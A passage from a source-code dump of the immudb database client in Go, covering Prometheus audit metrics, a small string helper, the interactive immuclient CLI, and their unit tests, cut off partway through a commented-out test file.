    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/prometheus/client_golang/prometheus\"\n)\n\ntype prometheusMetrics struct {\n\tserver_address string\n\tserver_id      string\n}\n\nvar metricsNamespace = \"immuclient\"\n\n// Audit metrics\nvar (\n\tAuditResultPerServer = newAuditGaugeVec(\n\t\t\"audit_result_per_server\",\n\t\t\"Latest audit result (1 = ok, 0 = tampered).\",\n\t)\n\tAuditCurrRootPerServer = newAuditGaugeVec(\n\t\t\"audit_curr_root_per_server\",\n\t\t\"Current root index used for the latest audit.\",\n\t)\n\tAuditRunAtPerServer = newAuditGaugeVec(\n\t\t\"audit_run_at_per_server\",\n\t\t\"Timestamp in unix seconds at which latest audit run.\",\n\t)\n\tAuditPrevRootPerServer = newAuditGaugeVec(\n\t\t\"audit_prev_root_per_server\",\n\t\t\"Previous root index used for the latest audit.\",\n\t)\n)\n\nfunc (p *prometheusMetrics) init(serverid string, immudbAddress, immudbPort string) {\n\tp.server_address = fmt.Sprintf(\"%s:%s\", immudbAddress, immudbPort)\n\tp.server_id = serverid\n\tprometheus.MustRegister(AuditResultPerServer, AuditCurrRootPerServer, AuditRunAtPerServer, AuditPrevRootPerServer)\n\tAuditResultPerServer.WithLabelValues(p.server_id, p.server_address).Set(-1)\n\tAuditCurrRootPerServer.WithLabelValues(p.server_id, p.server_address).Set(-1)\n\tAuditRunAtPerServer.WithLabelValues(p.server_id, p.server_address).SetToCurrentTime()\n\tAuditPrevRootPerServer.WithLabelValues(p.server_id, p.server_address).Set(-1)\n}\n\nfunc newAuditGaugeVec(name string, help string) *prometheus.GaugeVec {\n\treturn prometheus.NewGaugeVec(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: metricsNamespace,\n\t\t\tName:      name,\n\t\t\tHelp:      help,\n\t\t},\n\t\t[]string{\"server_id\", \"server_address\"},\n\t)\n}\n\nfunc (p *prometheusMetrics) updateMetrics(\n\tserverID string,\n\tserverAddress string,\n\tchecked bool,\n\twithError bool,\n\tresult bool,\n\tprevState *schema.ImmutableState,\n\tcurrState *schema.ImmutableState,\n) {\n\tvar r float64\n\tif checked && result {\n\t\tr = 1\n\t} else if !checked && !withError {\n\t\tr = -1\n\t} else if withError {\n\t\tr = -2\n\t}\n\tprevRootTxID := -1.\n\tcurrRootTxID := -1.\n\tif withError {\n\t\tprevRootTxID = -2.\n\t\tcurrRootTxID = -2.\n\t}\n\tif prevState != nil {\n\t\tprevRootTxID = float64(prevState.TxId)\n\t}\n\tif currState != nil {\n\t\tcurrRootTxID = float64(currState.TxId)\n\t}\n\n\tAuditResultPerServer.\n\t\tWithLabelValues(p.server_id, p.server_address).Set(r)\n\tAuditPrevRootPerServer.\n\t\tWithLabelValues(p.server_id, p.server_address).Set(prevRootTxID)\n\tAuditCurrRootPerServer.\n\t\tWithLabelValues(p.server_id, p.server_address).Set(currRootTxID)\n\tAuditRunAtPerServer.\n\t\tWithLabelValues(p.server_id, p.server_address).SetToCurrentTime()\n}\n"
  },
  {
    "path": "cmd/immuclient/audit/metrics_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\nimport (\n\t\"testing\"\n)\n\nfunc TestMetrics(t *testing.T) {\n\tp := prometheusMetrics{}\n\tp.init(\"serverid\", \"localhost\", \"12345\")\n\tif p.server_id != \"serverid\" ||\n\t\tp.server_address != \"localhost:12345\" {\n\t\tt.Fatal(\"fail prometheus init\")\n\t}\n}\n"
  },
  {
    "path": "cmd/immuclient/audit/utils.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\nfunc stringInSlice(a string, list []string) bool {\n\tfor _, b := range list {\n\t\tif b == a {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "cmd/immuclient/audit/utils_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\nimport (\n\t\"testing\"\n)\n\nfunc TestStringInSlice(t *testing.T) {\n\tmyslice := []string{\"app1\", \"app2\", \"app3\"}\n\tif !stringInSlice(\"app1\", myslice) {\n\t\tt.Fatal(\"stringInSlice failed, expected true, returned false\")\n\t}\n\tif stringInSlice(\"app5\", myslice) {\n\t\tt.Fatal(\"stringInSlice failed, expected false, returned true\")\n\t}\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/cli.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/immuclient/immuc\"\n\t\"github.com/peterh/liner\"\n\t\"github.com/spf13/viper\"\n)\n\ntype cli struct {\n\tcommands     map[string]*command\n\timmucl       immuc.Client\n\tcommandsList []*command\n\thelpMessage  string\n\tvalueOnly    bool\n\tisLoggedin   bool\n}\n\n// Cli ...\ntype Cli interface {\n\tRun()\n\tHelpMessage() string\n}\n\n// Init ...\nfunc Init(immucl immuc.Client) Cli {\n\tcli := new(cli)\n\tcli.immucl = immucl\n\tcli.valueOnly = viper.GetBool(\"value-only\")\n\tcli.commands = make(map[string]*command)\n\tcli.commandsList = make([]*command, 0)\n\tcli.initCommands()\n\tcli.helpInit()\n\treturn cli\n}\n\nfunc (cli *cli) Register(cmd *command) {\n\tcli.commandsList = append(cli.commandsList, cmd)\n\tcli.commands[cmd.name] = cmd\n}\n\nfunc (cli *cli) HelpMessage() string {\n\treturn cli.helpMessage\n}\n\nfunc (cli *cli) helpInit() {\n\tvar namelen, shortlen int\n\tname := make([]string, 0)\n\tshort := make([]string, 0)\n\targs := make([]string, 0)\n\tfor i := range cli.commandsList {\n\t\tif len(cli.commandsList[i].name) > namelen {\n\t\t\tnamelen = len(cli.commandsList[i].name)\n\t\t}\n\t\tif len(cli.commandsList[i].short) > shortlen {\n\t\t\tshortlen = len(cli.commandsList[i].short)\n\t\t}\n\t\tname = append(name, cli.commandsList[i].name)\n\t\tshort = append(short, cli.commandsList[i].short)\n\t\tif len(cli.commandsList[i].args) == 0 {\n\t\t\targs = append(args, \"\")\n\t\t} else {\n\t\t\targs = append(args, strings.Join(cli.commandsList[i].args, \",\"))\n\t\t}\n\t}\n\tstr := strings.Builder{}\n\tfor i := range name {\n\t\tstr.WriteString(immuc.PadRight(name[i], \" \", namelen+2))\n\t\tstr.WriteString(immuc.PadRight(short[i], \" \", shortlen+2))\n\t\tif len(args[i]) > 0 {\n\t\t\tstr.WriteString(\"args: \" + args[i])\n\t\t}\n\t\tstr.WriteString(\"\\n\")\n\t}\n\tstr.WriteString(\"\\n\")\n\tcli.helpMessage = str.String()\n}\n\nfunc (cli *cli) Run() {\n\tl := liner.NewLiner()\n\tl.SetCompleter(cli.completer)\n\tdefer l.Close()\n\tfor {\n\t\tline, err := l.Prompt(\"immuclient>\")\n\t\tif err == liner.ErrInvalidPrompt {\n\t\t\tif len(line) == 0 {\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t} else if err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Fprintln(os.Stderr, err)\n\t\t}\n\t\tl.AppendHistory(line)\n\t\tline = strings.TrimSuffix(line, \"\\n\")\n\t\tarrCommandStr := strings.Fields(line)\n\t\tif len(arrCommandStr) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tpassed := cli.checkCommand(arrCommandStr, l)\n\t\tif passed {\n\t\t\tcli.runCommand(arrCommandStr)\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Fprintln(os.Stderr, err)\n\t\t}\n\t}\n}\n\nfunc (cli *cli) checkCommand(arrCommandStr []string, l *liner.State) bool {\n\tif arrCommandStr[0] == \"exit\" || arrCommandStr[0] == \"quit\" {\n\t\tif cli.isLoggedin {\n\t\t\tlogoutmsg, _ := cli.logout(nil)\n\t\t\tfmt.Println(logoutmsg)\n\t\t}\n\t\tl.Close()\n\t\tos.Exit(0)\n\t}\n\tswitch arrCommandStr[0] {\n\tcase \"--help\":\n\t\tfmt.Fprint(os.Stdout, cli.helpMessage)\n\t\treturn false\n\tcase \"help\":\n\t\tfmt.Fprint(os.Stdout, cli.helpMessage)\n\t\treturn false\n\tcase \"-h\":\n\t\tfmt.Fprint(os.Stdout, cli.helpMessage)\n\t\treturn false\n\tcase \"clear\":\n\t\tcleaner, ok := clear[runtime.GOOS]\n\t\tif !ok {\n\t\t\tfmt.Fprintf(os.Stdout, \"ERROR: %s \\n\", \"Current OS not supporting for this command.\")\n\t\t\treturn false\n\t\t}\n\t\tcleaner()\n\t\treturn false\n\t}\n\tif len(arrCommandStr) == 2 && (arrCommandStr[1] == \"--help\" || arrCommandStr[1] == \"-h\") {\n\t\thelpline, err := cli.singleCommandHelp(arrCommandStr[0])\n\t\tif err != nil {\n\t\t\tsuggestions := cli.correct(arrCommandStr[0])\n\t\t\tstr := strings.Builder{}\n\t\t\tstr.WriteString(fmt.Sprintf(\"ERROR: %s | %s  \\n\", \"Command not found \", arrCommandStr[0]))\n\t\t\tif len(suggestions) != 0 {\n\t\t\t\tstr.WriteString(\"Did you mean this ?\\n\")\n\t\t\t\tfor i := range suggestions {\n\t\t\t\t\tstr.WriteString(fmt.Sprintf(\"\t%s \\n\", suggestions[i]))\n\t\t\t\t}\n\t\t\t}\n\t\t\tstr.WriteString(\"Run --help for usage \\n\")\n\t\t\tfmt.Fprint(os.Stdout, str.String())\n\t\t\treturn false\n\t\t}\n\t\tfmt.Fprintf(os.Stdout, \"%v \\n\", helpline)\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc (cli *cli) runCommand(arrCommandStr []string) {\n\tcommand, ok := cli.commands[arrCommandStr[0]]\n\tif !ok {\n\t\tsuggestions := cli.correct(arrCommandStr[0])\n\t\tstr := strings.Builder{}\n\t\tstr.WriteString(fmt.Sprintf(\"ERROR: %s | %s  \\n\", \"Unknown command \", arrCommandStr[0]))\n\t\tif len(suggestions) != 0 {\n\t\t\tstr.WriteString(\"\\n\")\n\t\t\tstr.WriteString(\"Did you mean this ?\\n\")\n\t\t\tfor i := range suggestions {\n\t\t\t\tstr.WriteString(fmt.Sprintf(\"\t%s \\n\", suggestions[i]))\n\t\t\t}\n\t\t}\n\t\tstr.WriteString(\"\\n\")\n\t\tstr.WriteString(\"Run --help for usage \\n\")\n\t\tfmt.Fprint(os.Stdout, str.String())\n\t\treturn\n\t}\n\tif len(arrCommandStr[1:]) < len(command.args) {\n\t\tfmt.Fprintf(os.Stdout,\n\t\t\t\"ERROR: Not enough arguments | %s needs %v , have %v . Use [command] --help for documentation. \\n\",\n\t\t\tcommand.name,\n\t\t\tlen(command.args),\n\t\t\tlen(arrCommandStr[1:]))\n\t\treturn\n\t}\n\tvalOnly := false\n\tif !command.variable && len(arrCommandStr[1:]) > len(command.args) {\n\t\tredunantArgs := make([]string, 0)\n\t\texcessargs := arrCommandStr[len(command.args):]\n\t\tfor i := 1; i < len(excessargs); i++ {\n\t\t\tif !strings.HasPrefix(excessargs[i], \"-\") {\n\t\t\t\tredunantArgs = append(redunantArgs, excessargs[i])\n\t\t\t} else {\n\t\t\t\tif excessargs[i] == \"--value-only\" && !cli.valueOnly {\n\t\t\t\t\tvalOnly = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif len(redunantArgs) > 0 {\n\t\t\tfmt.Fprintf(os.Stdout,\n\t\t\t\t\"INFO: Redunant argument(s) | %v \\n\", redunantArgs)\n\t\t}\n\t}\n\tif valOnly {\n\t\tcli.immucl.SetValueOnly(true)\n\t}\n\tresult, err := command.command(arrCommandStr[1:])\n\tif valOnly {\n\t\tcli.immucl.SetValueOnly(false)\n\t}\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stdout, \"ERROR: %s \\n\", helper.UnwrapMessage(err))\n\t\treturn\n\t}\n\tfmt.Fprintf(os.Stdout, \"%v \\n\", result)\n}\n\nfunc (cli *cli) singleCommandHelp(cmdName string) (string, error) {\n\tcmd, ok := cli.commands[cmdName]\n\tif !ok {\n\t\treturn \"\", errors.New(\"not found\")\n\t}\n\targs := \"\"\n\tif len(cmd.args) > 0 {\n\t\targs = strings.Join(cmd.args, \",\")\n\t}\n\treturn fmt.Sprintf(\"%s %s args:%s\", cmd.name, cmd.short, args), nil\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/cli_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nimport (\n\t\"os\"\n\t\"path\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/codenotary/immudb/pkg/fs\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/peterh/liner\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestInit(t *testing.T) {\n\tcli := Init(nil)\n\trequire.NotEmpty(t, cli.HelpMessage())\n}\n\nfunc setupTest(t *testing.T) *cli {\n\tcli := new(cli)\n\tcli.commands = make(map[string]*command, 0)\n\tcli.commandsList = make([]*command, 0)\n\tcli.initCommands()\n\tcli.helpInit()\n\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tt.Cleanup(func() { bs.Stop() })\n\n\tts := tokenservice.NewInmemoryTokenService()\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, client.DefaultOptions().WithDir(t.TempDir()))\n\tic.Connect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcli.immucl = ic.Imc\n\n\treturn cli\n}\n\nfunc TestRunCommand(t *testing.T) {\n\tcli := setupTest(t)\n\n\tmsg := test.CaptureStdout(func() {\n\t\tcli.runCommand([]string{\"set\", \"key\", \"value\"})\n\t})\n\trequire.Contains(t, msg, \"value\")\n}\n\nfunc TestRunCommandExtraArgs(t *testing.T) {\n\tcli := setupTest(t)\n\n\tmsg := test.CaptureStdout(func() {\n\t\tcli.runCommand([]string{\"set\", \"key\", \"value\", \"value\"})\n\t})\n\trequire.Contains(t, msg, \"Redunant argument\")\n}\n\nfunc TestRunMissingArgs(t *testing.T) {\n\tcli := setupTest(t)\n\n\tmsg := test.CaptureStdout(func() {\n\t\tcli.runCommand([]string{\"set\", \"key\"})\n\t})\n\trequire.Contains(t, msg, \"Not enough arguments\")\n}\n\nfunc TestRunWrongCommand(t *testing.T) {\n\tcli := setupTest(t)\n\n\tmsg := test.CaptureStdout(func() {\n\t\tcli.runCommand([]string{\"fet\", \"key\"})\n\t})\n\trequire.Contains(t, msg, \"ERROR: Unknown command\")\n}\n\nfunc TestCheckCommand(t *testing.T) {\n\tcli := setupTest(t)\n\n\tl := liner.NewLiner()\n\tmsg := test.CaptureStdout(func() {\n\t\tcli.checkCommand([]string{\"--help\"}, l)\n\t})\n\trequire.NotEmpty(t, msg, \"Help must not be empty\")\n\n\tmsg = test.CaptureStdout(func() {\n\t\tcli.checkCommand([]string{\"set\", \"-h\"}, l)\n\t})\n\trequire.NotEmpty(t, msg, \"Help must not be empty\")\n\n\tmsg = test.CaptureStdout(func() {\n\t\tcli.checkCommand([]string{\"met\", \"-h\"}, l)\n\t})\n\trequire.Contains(t, msg, \"Did you mean this\", \"Help is empty\")\n}\n\nfunc TestCheckCommandErrors(t *testing.T) {\n\tcli := new(cli)\n\trequire.False(t, cli.checkCommand([]string{\"--help\"}, nil))\n\trequire.False(t, cli.checkCommand([]string{\"help\"}, nil))\n\trequire.False(t, cli.checkCommand([]string{\"-h\"}, nil))\n\trequire.False(t, cli.checkCommand([]string{\"clear\"}, nil))\n\trequire.True(t, cli.checkCommand([]string{\"unknown\"}, nil))\n}\n\nfunc TestImmuClient_BackupAndRestoreUX(t *testing.T) {\n\tstateFileDir := path.Join(t.TempDir(), \"testStates\")\n\tdir := path.Join(t.TempDir(), \"data\")\n\tdirAtTx3 := path.Join(t.TempDir(), \"dataTx3\")\n\n\toptions := server.DefaultOptions().WithDir(dir)\n\tbs := servertest.NewBufconnServer(options)\n\tuuid := bs.GetUUID()\n\n\terr := bs.Start()\n\trequire.NoError(t, err)\n\n\tcliOpts := client.\n\t\tDefaultOptions().\n\t\tWithDir(stateFileDir)\n\tcliOpts.CurrentDatabase = client.DefaultDB\n\tts := tokenservice.NewInmemoryTokenService()\n\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, cliOpts)\n\n\tic.Connect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcl := new(cli)\n\tcl.immucl = ic.Imc\n\n\t_, err = cl.safeset([]string{\"key1\", \"val\"})\n\trequire.NoError(t, err)\n\n\t_, err = cl.safeset([]string{\"key2\", \"val\"})\n\trequire.NoError(t, err)\n\n\t_, err = cl.safeset([]string{\"key3\", \"val\"})\n\trequire.NoError(t, err)\n\n\terr = bs.Stop()\n\trequire.NoError(t, err)\n\n\tcopier := fs.NewStandardCopier()\n\terr = copier.CopyDir(dir, dirAtTx3)\n\trequire.NoError(t, err)\n\n\tbs = servertest.NewBufconnServer(options)\n\trequire.NoError(t, err)\n\tbs.SetUUID(uuid)\n\terr = bs.Start()\n\trequire.NoError(t, err)\n\n\tcliOpts = client.\n\t\tDefaultOptions().\n\t\tWithDir(stateFileDir)\n\tcliOpts.CurrentDatabase = client.DefaultDB\n\tic = test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, cliOpts)\n\n\tic.Connect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcl = new(cli)\n\tcl.immucl = ic.Imc\n\n\t_, err = cl.safeset([]string{\"key1\", \"val\"})\n\trequire.NoError(t, err)\n\n\t_, err = cl.safeset([]string{\"key2\", \"val\"})\n\trequire.NoError(t, err)\n\n\t_, err = cl.safeset([]string{\"key3\", \"val\"})\n\trequire.NoError(t, err)\n\n\terr = bs.Stop()\n\trequire.NoError(t, err)\n\n\tos.RemoveAll(dir)\n\terr = copier.CopyDir(dirAtTx3, dir)\n\trequire.NoError(t, err)\n\n\tbs = servertest.NewBufconnServer(options)\n\trequire.NoError(t, err)\n\tbs.SetUUID(uuid)\n\terr = bs.Start()\n\trequire.NoError(t, err)\n\n\tcliOpts = client.\n\t\tDefaultOptions().\n\t\tWithDir(stateFileDir)\n\tcliOpts.CurrentDatabase = client.DefaultDB\n\tic = test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, cliOpts)\n\n\tic.Connect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcl = new(cli)\n\tcl.immucl = ic.Imc\n\n\t_, err = cl.safeGetKey([]string{\"key3\"})\n\n\trequire.Equal(t, client.ErrServerStateIsOlder, err)\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/currentstatus.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nfunc (cli *cli) health(args []string) (string, error) {\n\treturn cli.immucl.DatabaseHealth(args)\n}\n\nfunc (cli *cli) currentState(args []string) (string, error) {\n\treturn cli.immucl.CurrentState(args)\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/currentstatus_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\n/*\nimport (\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"strings\"\n\t\"testing\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc TestCurrentRoot(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, client.DefaultOptions().WithDir(t.TempDir()))\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcli := new(cli)\n\tcli.immucl = ic.Imc\n\n\t_, err := cli.safeset([]string{\"key\", \"val\"})\n\tassert.NoError(t, err)\n\tmsg, err := cli.currentRoot([]string{\"\"})\n\n\trequire.NoError(t, err, \"CurrentRoot fail\")\n\trequire.Contains(t, msg, \"hash\", \"CurrentRoot failed\")\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/cli/getcommands.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\nfunc (cli *cli) getTxByID(args []string) (string, error) {\n\treturn cli.immucl.GetTxByID(args)\n}\n\nfunc (cli *cli) getKey(args []string) (string, error) {\n\treturn cli.immucl.Get(args)\n}\n\nfunc (cli *cli) safeGetKey(args []string) (string, error) {\n\treturn cli.immucl.VerifiedGet(args)\n}\n"
  },
  {
    "path": "cmd/immuclient/cli/getcommands_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cli\n\n/*\nimport (\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"strings\"\n\t\"testing\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc TestGetByIndex(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, client.DefaultOptions().WithDir(t.TempDir()))\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcli := new(cli)\n\tcli.immucl = ic.Imc\n\n\t_, _ = cli.safeset([]string{\"key\", \"val\"})\n\tmsg, err := cli.getByIndex([]string{\"0\"})\n\trequire.NoError(t, err, \"GetByIndex fail\")\n\trequire.Contains(t, msg, \"hash\", \"GetByIndex failed\")\n}\n\nfunc TestGetKey(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, client.DefaultOptions().WithDir(t.TempDir()))\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcli := new(cli)\n\tcli.immucl = ic.Imc\n\n\t_, _ = cli.set([]string{\"key\", \"val\"})\n\tmsg, err := cli.getKey([]string{\"key\"})\n\trequire.NoError(t, err, \"GetKey fail\")\n\trequire.Contains(t, msg, \"hash\", \"GetKey failed\")\n}\nfunc TestRawSafeGetKey(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, client.DefaultOptions().WithDir(t.TempDir()))\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcli := new(cli)\n\tcli.immucl = ic.Imc\n\n\t_, _ = cli.set([]string{\"key\", \"val\"})\n\tmsg, err := cli.rawSafeGetKey([]string{\"key\"})\n\trequire.NoError(t, err, \"RawSafeGetKey fail\")\n\trequire.Contains(t, msg, \"hash\", \"RawSafeGetKey failed\")\n}\nfunc TestSafeGetKey(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, client.DefaultOptions().WithDir(t.TempDir()))\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcli := new(cli)\n\tcli.immucl = ic.Imc\n\n\t_, _ = cli.set([]string{\"key\", \"val\"})\n\tmsg, err := cli.safeGetKey([]string{\"key\"})\n\trequire.NoError(t, err, \"SafeGetKey fail\")\n\trequire.Contains(t, msg, \"hash\", \"SafeGetKey failed\")\n}\n\nfunc TestGetRawBySafeIndex(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, 